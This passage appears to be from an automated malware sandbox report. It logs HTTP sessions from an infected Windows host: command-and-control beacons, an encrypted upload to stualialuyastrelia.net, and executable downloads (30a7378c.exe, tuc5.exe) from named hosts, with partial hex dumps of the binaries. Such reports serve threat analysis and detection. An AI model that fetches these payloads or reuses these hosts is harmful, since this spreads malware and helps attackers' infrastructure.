class="no-js" lang="en-US"> ...<![endif]--><head><title>Suspected phishing site \| Cloudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf
Dec 20, 2023 03:12:31.986424923 CET	1286	IN	Data Raw: 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 Data Ascii: .errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) {
Dec 20, 2023 03:12:31.986499071 CET	1286	IN	Data Raw: 70 65 72 73 6f 6e 61 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 73 75 63 68 20 61 73 20 70 61 73 73 77 6f 72 64 73 20 61 6e 64 20 63 72 65 64 69 74 20 63 61 72 64 20 64 65 74 61 69 6c 73 20 62 79 20 70 72 65 74 65 6e 64 69 6e 67 20 74 6f 20 62 65 Data Ascii: personal information such as passwords and credit card details by pretending to be a trustworthy source.</p> <p> <form action="/cdn-cgi/phish-bypass" method="GET"> <input type="hidden" name="atok" valu
Dec 20, 2023 03:12:31.986718893 CET	1286	IN	Data Raw: 65 6e 74 65 72 20 73 6d 3a 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 Data Ascii: enter sm:text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">83845c634d406db0</strong></span> <span class="cf-f
Dec 20, 2023 03:12:31.986730099 CET	161	IN	Data Raw: 72 2d 66 6f 6f 74 65 72 20 2d 2d 3e 0a 0a 0a 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 65 72 72 6f 72 2d 64 65 74 61 69 6c 73 20 2d 2d 3e 0a 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 23 63 66 2d 77 72 61 70 70 65 72 20 2d 2d 3e Data Ascii: r-footer --> </div>... /#cf-error-details --> </div>... /#cf-wrapper --> <script> window._cf_translation = {}; </script></body></html>
Dec 20, 2023 03:12:31.986784935 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Dec 20, 2023 03:12:32.011816978 CET	356	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=TKnVaTK1Mb_40gMTuTEbKhJ6n3cY9xmNXzQ7rW1jQkM-1703038351-0-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 54 Host: diagramfiremonkeyowwa.fun
Dec 20, 2023 03:12:32.011845112 CET	54	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 6c 69 64 3d 4e 6d 4c 70 51 57 2d 2d 73 70 61 6d 32 26 6a 3d 64 65 66 61 75 6c 74 26 76 65 72 3d 34 2e 30 Data Ascii: act=recive_message&lid=NmLpQW--spam2&j=default&ver=4.0
Dec 20, 2023 03:12:33.274230957 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:12:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: PHPSESSID=odcom678a4phmihsf06gdgh4pc; expires=Sat, 13-Apr-2024 19:59:12 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 18-Feb-2024 02:12:33 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 18-Feb-2024 02:12:33 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 18-Feb-2024 02:12:33 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=spU%2B%2FLifCLtMQMcuIAe8GbBJRwN7z3%2FGlV0fbuqWyKrxGU7q8NvYaHE7tzlBAg6YYJ6oh2ehU5VHigymhYiNiM1Uu3H8%2FnDH84%2F11RwlPnJqqTWdju00PHluPhtzSJjrK%2B23%2FnSMmqnjHI1V"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RA Data Raw: Data Ascii:
Dec 20, 2023 03:12:33.274243116 CET	41	IN	Data Raw: 3a 20 38 33 38 34 35 63 36 34 36 65 64 32 36 64 62 30 2d 4d 49 41 0d 0a 0d 0a 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: : 83845c646ed26db0-MIAaerror #D12
Dec 20, 2023 03:12:33.274251938 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	201.119.5.179	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:39.014151096 CET	164	OUT	GET /ftp/index.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: ftpvoyager.cc
Dec 20, 2023 03:12:39.636210918 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Wed, 20 Dec 2023 02:12:39 GMT Content-Type: application/octet-stream Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=30a7378c.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 93 36 6d 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 4a 02 00 00 12 f9 01 00 00 00 00 fb 7d 00 00 00 10 00 00 00 60 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 fb 01 00 04 00 00 b0 9e 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 4e 02 00 3c 00 00 00 00 10 fa 01 a0 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 49 02 00 00 10 00 00 00 4a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 94 f7 01 00 60 02 00 00 6a 01 00 00 4e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 65 68 69 00 00 00 01 00 00 00 00 00 fa 01 00 02 00 00 00 b8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a0 ea 00 00 00 10 fa 01 00 ec 00 00 00 ba 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL6mdJ}`@N<@C@.textIJ `.data8`jN@.kehi@.rsrc@@
Dec 20, 2023 03:12:39.636290073 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 51 02 00 1a 51 02 00 28 51 02 00 3c 51 02 00 50 51 02 00 Data Ascii: QQ(Q<QPQjQQQQQQQQRR.RBRRRlR~RRRRRRRRS$S:SNSbS~SSSSSSSST"T0T@T^Tr
Dec 20, 2023 03:12:39.636301041 CET	228	IN	Data Raw: 00 78 70 78 78 78 78 08 07 08 00 00 07 00 08 08 08 00 00 08 00 08 00 07 08 00 00 00 43 6f 72 45 78 69 74 50 72 6f 63 65 73 73 00 00 6d 00 73 00 63 00 6f 00 72 00 65 00 65 00 2e 00 64 00 6c 00 6c 00 00 00 72 00 75 00 6e 00 74 00 69 00 6d 00 65 00 Data Ascii: xpxxxxCorExitProcessmscoree.dllruntime error TLOSS errorSING errorDOMAIN errorR6033- Attem
Dec 20, 2023 03:12:39.636338949 CET	1286	IN	Data Raw: 70 00 74 00 20 00 74 00 6f 00 20 00 75 00 73 00 65 00 20 00 4d 00 53 00 49 00 4c 00 20 00 63 00 6f 00 64 00 65 00 20 00 66 00 72 00 6f 00 6d 00 20 00 74 00 68 00 69 00 73 00 20 00 61 00 73 00 73 00 65 00 6d 00 62 00 6c 00 79 00 20 00 64 00 75 00 Data Ascii: pt to use MSIL code from this assembly during native code initializationThis indicates a bug in your application. It is m
Dec 20, 2023 03:12:39.844783068 CET	1286	IN	Data Raw: 65 00 78 00 69 00 74 00 2f 00 61 00 74 00 65 00 78 00 69 00 74 00 20 00 74 00 61 00 62 00 6c 00 65 00 0d 00 0a 00 00 00 00 00 00 00 00 00 52 00 36 00 30 00 31 00 39 00 0d 00 0a 00 2d 00 20 00 75 00 6e 00 61 00 62 00 6c 00 65 00 20 00 74 00 6f 00 Data Ascii: exit/atexit tableR6019- unable to open console deviceR6018- unexpected heap errorR6017- unexpected
Dec 20, 2023 03:12:39.844815969 CET	1286	IN	Data Raw: 00 00 00 00 46 6c 73 46 72 65 65 00 46 6c 73 53 65 74 56 61 6c 75 65 00 46 6c 73 47 65 74 56 61 6c 75 65 00 46 6c 73 41 6c 6c 6f 63 00 00 00 00 71 01 41 00 b0 47 40 00 7b ff 40 00 de 70 40 00 62 61 64 20 65 78 63 65 70 74 69 6f 6e 00 00 00 d0 d2 Data Ascii: FlsFreeFlsSetValueFlsGetValueFlsAllocqAG@{@p@bad exceptionC(C
Dec 20, 2023 03:12:39.844913006 CET	1286	IN	Data Raw: 01 01 10 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 02 01 10 00 02 01 02 01 02 01 02 01 02 01 02 01 02 01 Data Ascii:
Dec 20, 2023 03:12:39.844965935 CET	1286	IN	Data Raw: 64 00 6e 00 65 00 73 00 64 00 61 00 79 00 00 00 54 00 75 00 65 00 73 00 64 00 61 00 79 00 00 00 4d 00 6f 00 6e 00 64 00 61 00 79 00 00 00 00 00 53 00 75 00 6e 00 64 00 61 00 79 00 00 00 00 00 53 00 61 00 74 00 00 00 46 00 72 00 69 00 00 00 54 00 Data Ascii: dnesdayTuesdayMondaySundaySatFriThuWedTueMonSunHH:mm:ssdddd, MMMM dd, yyyyMM/dd/yyPMAMDecemberNovemberOctoberSeptemberAugustJulyJuneApr
Dec 20, 2023 03:12:39.845082998 CET	1286	IN	Data Raw: 6e 00 66 72 65 6e 63 68 2d 62 65 6c 67 69 61 6e 00 00 65 6e 67 6c 69 73 68 2d 75 73 61 00 65 6e 67 6c 69 73 68 2d 75 73 00 00 65 6e 67 6c 69 73 68 2d 75 6b 00 00 65 6e 67 6c 69 73 68 2d 74 72 69 6e 69 64 61 64 20 79 20 74 6f 62 61 67 6f 00 00 00 Data Ascii: nfrench-belgianenglish-usaenglish-usenglish-ukenglish-trinidad y tobagoenglish-south africaenglish-nzenglish-jamaicaenglish-ireenglish-caribbeanenglish-canenglish-belizeenglish-ausenglish-americandutch-belgianc
Dec 20, 2023 03:12:39.845213890 CET	1286	IN	Data Raw: 41 00 44 00 56 00 41 00 50 00 49 00 33 00 32 00 2e 00 44 00 4c 00 4c 00 00 00 00 00 20 43 6f 6d 70 6c 65 74 65 20 4f 62 6a 65 63 74 20 4c 6f 63 61 74 6f 72 27 00 00 00 20 43 6c 61 73 73 20 48 69 65 72 61 72 63 68 79 20 44 65 73 63 72 69 70 74 6f Data Ascii: ADVAPI32.DLL Complete Object Locator' Class Hierarchy Descriptor' Base Class Array' Base Class Descriptor at ( Type Descriptor'`local static thread guard'`managed vector copy constructor iterator'`vector vbase c
Dec 20, 2023 03:12:39.845274925 CET	1286	IN	Data Raw: 00 00 2d 3e 00 00 6f 70 65 72 61 74 6f 72 00 00 00 00 5b 5d 00 00 21 3d 00 00 3d 3d 00 00 21 00 00 00 3c 3c 00 00 3e 3e 00 00 20 64 65 6c 65 74 65 00 20 6e 65 77 00 00 00 00 5f 5f 75 6e 61 6c 69 67 6e 65 64 00 5f 5f 72 65 73 74 72 69 63 74 00 00 Data Ascii: ->operator[]!===!<<>> delete new__unaligned__restrict__ptr64__eabi__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based(\|9@t9@h9@\9@P9@D9@89@09@(9@9@9@@?@9@9@h@8@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49757	172.67.168.30	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:47.477657080 CET	171	OUT	GET /order/tuc5.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: cream.hitsturbo.com
Dec 20, 2023 03:12:47.954655886 CET	1286	IN	HTTP/1.1 200 OK Date: Wed, 20 Dec 2023 02:12:47 GMT Content-Type: application/octet-stream Content-Length: 6968258 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=tuc5.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xm0OnJ5OWRBO8Um7blzL2OzUJRPqv8OI8%2BN%2FnDgN2JdbiPbi28ZX4clFV3PCtv3vbt%2B8w%2Fd3Ju5afQi6wPjyqGY0MWCGiq%2Fqp8z%2B7oKBmGXXBe9mtxbR6prnhuHXNzN7R2eQiqzi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 83845cc51f57d9d1-MIA alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 9f 4d 82 65 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 Data Ascii: MZP@!L!This program must be run under Win32$7PELMeF@@@@P,CODEd
Dec 20, 2023 03:12:47.954669952 CET	1286	IN	Data Raw: 00 00 94 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 4c 0e 00 00 00 c0 00 00 00 Data Ascii: `DATAL@BSSL.idataP@.tls.rdata@P.reloc
Dec 20, 2023 03:12:47.954796076 CET	1286	IN	Data Raw: 89 03 b0 01 5e 5b c3 8b 50 04 8b 08 89 0a 89 51 04 8b 15 38 c4 40 00 89 10 a3 38 c4 40 00 c3 53 56 57 55 51 8b f1 89 14 24 8b e8 8b 5d 00 8b 04 24 8b 10 89 16 8b 50 04 89 56 04 8b 3b 8b 43 08 8b d0 03 53 0c 3b 16 75 14 8b c3 e8 b7 ff ff ff 8b 43 Data Ascii: ^[PQ8@8@SVWUQ$]$PV;CS;uCCFV;uCF;uUu3Z]_^[@SVWU2C;rlJk;w^;uBCB)C{uD5;r{;u)s&J$+
Dec 20, 2023 03:12:47.954807997 CET	1286	IN	Data Raw: fb ff ff 83 7c 24 0c 00 0f 85 66 ff ff ff 8d 4c 24 0c 8b 54 24 08 8b 44 24 04 e8 da fc ff ff 8b 04 24 33 d2 89 10 eb 48 8b 6b 08 3b f5 75 3a 3b 7b 0c 7f 35 8b 0c 24 8b d7 8b c5 e8 71 fd ff ff 8b 04 24 83 38 00 74 28 8b 04 24 8b 40 04 01 43 08 8b Data Ascii: \|$fL$T$D$$3Hk;u:;{5$q$8t($@C$@)C{u$3]_^[SVW$?4$;s[+L$L@]\$tL$T$&D$D$D$D$\|$tT$L@
Dec 20, 2023 03:12:47.954818010 CET	1286	IN	Data Raw: 10 00 00 7f 30 8b d6 c1 ea 02 a1 74 c4 40 00 8b 44 90 f4 85 c0 75 10 a1 74 c4 40 00 89 5c 90 f4 89 5b 04 89 1b eb 3a 8b 10 89 43 04 89 13 89 18 89 5a 04 eb 2c 81 fe 00 3c 00 00 7c 0d 8b d6 8b c7 e8 09 ff ff ff 84 c0 75 17 a1 68 c4 40 00 89 1d 68 Data Ascii: 0t@Dut@\[:CZ,<\|uh@h@CZ_^[=l@~@=l@}@+l@p@p@3p@3l@SVW<$L$x@<\$u3R;s)G
Dec 20, 2023 03:12:47.954829931 CET	1286	IN	Data Raw: 00 00 00 e9 9e 00 00 00 03 da 8b f0 e8 90 f8 ff ff 81 e3 fc ff ff 7f 8b c6 03 c3 8b f8 3b 3d 70 c4 40 00 75 2c 29 1d 70 c4 40 00 01 1d 6c c4 40 00 81 3d 6c c4 40 00 00 3c 00 00 7e 05 e8 1f fb ff ff 33 c0 89 45 fc e8 e9 0c 00 00 e9 85 00 00 00 8b Data Ascii: ;=p@u,)p@l@=l@<~3Et}@7)xt8tx}@P;@E3ZYYdh"@=2@th@E_^[Y]SVWU
Dec 20, 2023 03:12:47.954843998 CET	1286	IN	Data Raw: 5a 04 39 d9 75 38 83 c0 08 83 c2 08 4e 75 e2 eb 06 83 c0 04 83 c2 04 5e 83 e6 03 74 36 8a 08 3a 0a 75 30 4e 74 13 8a 48 01 3a 4a 01 75 25 4e 74 08 8a 48 02 3a 4a 02 75 1a 31 c0 5e 5b c3 5e 38 d9 75 10 38 fd 75 0c c1 e9 10 c1 eb 10 38 d9 75 02 38 Data Ascii: Z9u8Nu^t6:u0NtH:Ju%NtH:Ju1^[^8u8u8u8^[Wfx_i,@B,@SVWPtQ11F t-tE+tB$tBt20w*9w&Fut\|Y12_^[F~[)
Dec 20, 2023 03:12:47.954905987 CET	1286	IN	Data Raw: ff 8b 15 0c c0 40 00 85 d2 0f 84 8b 00 00 00 ff d2 85 c0 0f 84 81 00 00 00 8b 54 24 0c e8 db fe ff ff 89 c2 8b 44 24 04 8b 48 0c 83 48 04 02 53 31 db 56 57 55 64 8b 1b 53 50 52 51 8b 54 24 28 6a 00 50 68 79 2c 40 00 52 e8 53 e5 ff ff 8b 7c 24 28 Data Ascii: @T$D$HHS1VWUdSPRQT$(jPhy,@RS\|$(o_G,@RA_D$@8tr@u@T$SVWUJYq
Dec 20, 2023 03:12:47.955002069 CET	1286	IN	Data Raw: 0c b8 e2 00 00 00 e8 05 0d 00 00 eb 0c 53 a1 d0 c3 40 00 50 e8 ca e0 ff ff 89 1d 8c c4 40 00 5b c3 8b c0 8a 0d 30 c0 40 00 8b 05 d0 c3 40 00 84 c9 75 28 64 8b 15 2c 00 00 00 8b 04 82 c3 e8 98 ff ff ff 8b 05 d0 c3 40 00 50 e8 8c e0 ff ff 85 c0 74 Data Ascii: S@P@[0@@u(d,@Pt@PzttJI\|JuBSVtJI\|JuBNu^[t#JAPRBXXRH\|ZXJtJI\|JuB
Dec 20, 2023 03:12:47.955097914 CET	1286	IN	Data Raw: 6a 00 68 00 08 00 00 8d 44 24 0c 50 53 57 6a 00 6a 00 e8 ce db ff ff 8b c8 8b d4 8b c6 e8 1f fc ff ff eb 33 6a 00 6a 00 6a 00 6a 00 53 57 6a 00 6a 00 e8 ae db ff ff 8b e8 8b c6 8b cd 33 d2 e8 fd fb ff ff 6a 00 6a 00 55 8b 06 50 53 57 6a 00 6a 00 Data Ascii: jhD$PSWjj3jjjjSWjj3jjUPSWjj]_^[@SVS]^[SVWU) =}+hD$PV'PjjPD$P"(jjVSjjUjUWVSjj
Dec 20, 2023 03:12:47.955423117 CET	1286	IN	Data Raw: 04 6a 00 ff 36 e8 5d d6 ff ff 40 0f 84 c9 00 00 00 2d 81 00 00 00 73 02 33 c0 6a 00 6a 00 50 ff 36 e8 79 d6 ff ff 40 0f 84 ad 00 00 00 6a 00 8b d4 6a 00 52 68 80 00 00 00 8d 96 4c 01 00 00 52 ff 36 e8 40 d6 ff ff 5a 48 0f 85 8b 00 00 00 33 c0 3b Data Ascii: j6]@-s3jjP6y@jjRhLR6@ZH3;sLLt@jj+P6/@tg6Hu]"F$O:@~tjjt;~t6tuF R:@3^6sFiFLH3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49761	91.215.85.17	80	1748	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 03:12:55.430733919 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://stualialuyastrelia.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 4431 Host: stualialuyastrelia.net
Dec 20, 2023 03:12:55.430804014 CET	4431	OUT	Data Raw: 48 9d 8f b9 3c 15 23 52 5a 04 51 56 0c ac 26 ca 5a 6b ed 62 8c 1b df de c1 19 d7 f1 00 f7 d3 e7 f9 a1 8d b5 75 35 90 b6 a4 5d 6a 34 cc c4 b9 41 dd 0f 7e 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 81 9a c6 a4 19 ba 8a 14 62 cd d6 4f 96 93 c1 0a d9 Data Ascii: H<#RZQV&Zkbu5]j4A~;}f=BbOp&QD{jB+"m]it4JEBP5XO2S5-TT{;j9@O 2'`ssf4Sy6U`A
Dec 20, 2023 03:12:55.723432064 CET	599	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 20 Dec 2023 02:12:55 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not 